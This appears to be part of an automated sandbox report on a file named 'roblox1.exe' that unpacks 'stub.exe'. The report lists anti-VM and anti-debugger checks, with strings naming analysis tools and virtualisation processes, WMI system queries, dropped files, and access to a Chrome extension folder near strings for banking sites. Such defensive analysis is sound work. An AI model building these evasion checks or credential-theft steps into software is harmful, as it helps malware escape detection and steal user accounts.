Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\System32\systeminfo.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter

Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)

Source: C:\Windows\System32\wbem\WMIC.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Caption, Description, ProviderName FROM Win32_LogicalDisk

Queries sensitive service information (via WMI, Win32_StartupCommand, often done to detect sandboxes)

Source: C:\Windows\System32\wbem\WMIC.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Caption, Command FROM Win32_StartupCommand

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: stub.exe, 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: PROCESSHACKER.EXE
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: UFIDDLER.EXE
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: USBIEDLL.DLLUANTIVM.CHECKDLLT
Source: stub.exe, 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OLLYDBG.EXE
Source: stub.exe, 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: QEMU-GA.EXE
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: UXENSERVICE.EXE
Source: stub.exe, 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: VMUSRVC.EXE
Source: stub.exe, 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: UWIRESHARK.EXE
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: UOLLYDBG.EXE
Source: stub.exe, 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: FIDDLER.EXE
Source: stub.exe, 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: XENSERVICE.EXE
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: USBIEDLL.DLL
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: UVMTOOLSD.EXEUVMWARETRAY.EXEUVMACTHLP.EXEUVBOXTRAY.EXEUVBOXSERVICE.EXEUVMSRVC.EXEUPRL_TOOLS.EXEUXENSERVICE.EXEUANTIVM.CHECKPROCESST
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: UPROCESSHACKER.EXE
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: UQEMU-GA.EXE
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: UVMUSRVC.EXE
Source: stub.exe, 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: WIRESHARK.EXE

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2731	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3756	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4651
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2438

Source: C:\Users\user\Desktop\roblox1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\_asyncio.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\yarl\_helpers_c.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\aiohttp\_helpers.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\pyexpat.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\frozenlist\_frozenlist.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\multidict\_multidict.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\cryptography\hazmat\bindings\_rust.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\aiohttp\_http_writer.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\_queue.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\_multiprocessing.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\_overlapped.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\yarl\_quoting_c.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\_cffi_backend.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\_uuid.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\aiohttp\_http_parser.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\aiohttp\_websocket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\roblox1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\select.pyd	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe

API coverage: 0.2 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2788	Thread sleep count: 2731 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2788	Thread sleep count: 3756 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3776	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5196	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5424	Thread sleep count: 4651 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1608	Thread sleep count: 2438 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5588	Thread sleep time: -7378697629483816s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5712	Thread sleep time: -1844674407370954s >= -30000s

Source: C:\Windows\System32\systeminfo.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT UUID FROM Win32_ComputerSystemProduct
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT UUID FROM Win32_ComputerSystemProduct
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT UUID FROM Win32_ComputerSystemProduct
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT UUID FROM Win32_ComputerSystemProduct

Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\roblox1.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales	Jump to behavior

Source: stub.exe, 00000003.00000002.1949761469.00000213BF5B4000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Hyper-V
Source: stub.exe, 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: VMware
Source: stub.exe, 00000003.00000003.1693227187.00000213BEE57000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696494690
Source: stub.exe, 00000003.00000003.1693227187.00000213BEE57000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696494690
Source: stub.exe, 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmusrvc.exe
Source: stub.exe, 00000003.00000003.1693227187.00000213BEE57000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
Source: stub.exe, 00000003.00000003.1934773835.00000213BEF56000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1916380810.00000213BEFA7000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1916597357.00000213BEFA8000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1937895294.00000213BEF66000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1916380810.00000213BEF50000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1916914578.00000213BEF51000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: *Hyper-V Administrators
Source: stub.exe, 00000003.00000003.1693227187.00000213BEE57000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696494690
Source: stub.exe, 00000003.00000003.1693227187.00000213BEE57000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696494690
Source: stub.exe, 00000003.00000003.1693227187.00000213BEE57000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696494690d
Source: stub.exe, 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: qemu-ga.exe
Source: stub.exe, 00000003.00000003.1934773835.00000213BEF56000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1940721109.00000213BE12E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1940139383.00000213BE111000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1916380810.00000213BEFA7000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1916597357.00000213BEFA8000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1937895294.00000213BEF66000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1916380810.00000213BEF50000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1916914578.00000213BEF51000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DISPLAY_NAME: Hyper-V Heartbeat Service
Source: stub.exe, 00000003.00000003.1693227187.00000213BEE57000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696494690u
Source: stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: uvmwareuser.exe
Source: stub.exe, 00000003.00000003.1934773835.00000213BEF56000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1916380810.00000213BEFA7000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1916597357.00000213BEFA8000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1937895294.00000213BEF66000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1916380810.00000213BEF50000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1916914578.00000213BEF51000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DISPLAY_NAME: Hyper-V Volume Shadow Copy Requestor
Source: stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: uvmtoolsd.exeuvmwaretray.exeuvmacthlp.exeuvboxtray.exeuvboxservice.exeuvmsrvc.exeuprl_tools.exeuxenservice.exeuAntiVM.CheckProcessT
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: aqemu
Source: stub.exe, 00000003.00000003.1934773835.00000213BEF56000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1916380810.00000213BEFA7000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1938065782.00000213BE603000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1916597357.00000213BEFA8000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1937895294.00000213BEF66000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1945647945.00000213BE608000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1916380810.00000213BEF50000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1916914578.00000213BEF51000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DISPLAY_NAME: Hyper-V Time Synchronization Service
Source: stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: avirtualboxavmwareuAntiVM.CheckGpuadecoded_outputu<genexpr>uAntiVM.CheckGpu.<locals>.<genexpr>L
Source: stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: avmware
Source: stub.exe, 00000003.00000003.1693227187.00000213BEE57000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696494690o
Source: stub.exe, 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmwareuser.exe
Source: stub.exe, 00000003.00000003.1693227187.00000213BEE57000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
Source: stub.exe, 00000003.00000002.1945050010.00000213BE410000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1552093383.00000213BE4C3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlll4
Source: stub.exe, 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmware
Source: stub.exe, 00000003.00000003.1693227187.00000213BEE57000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
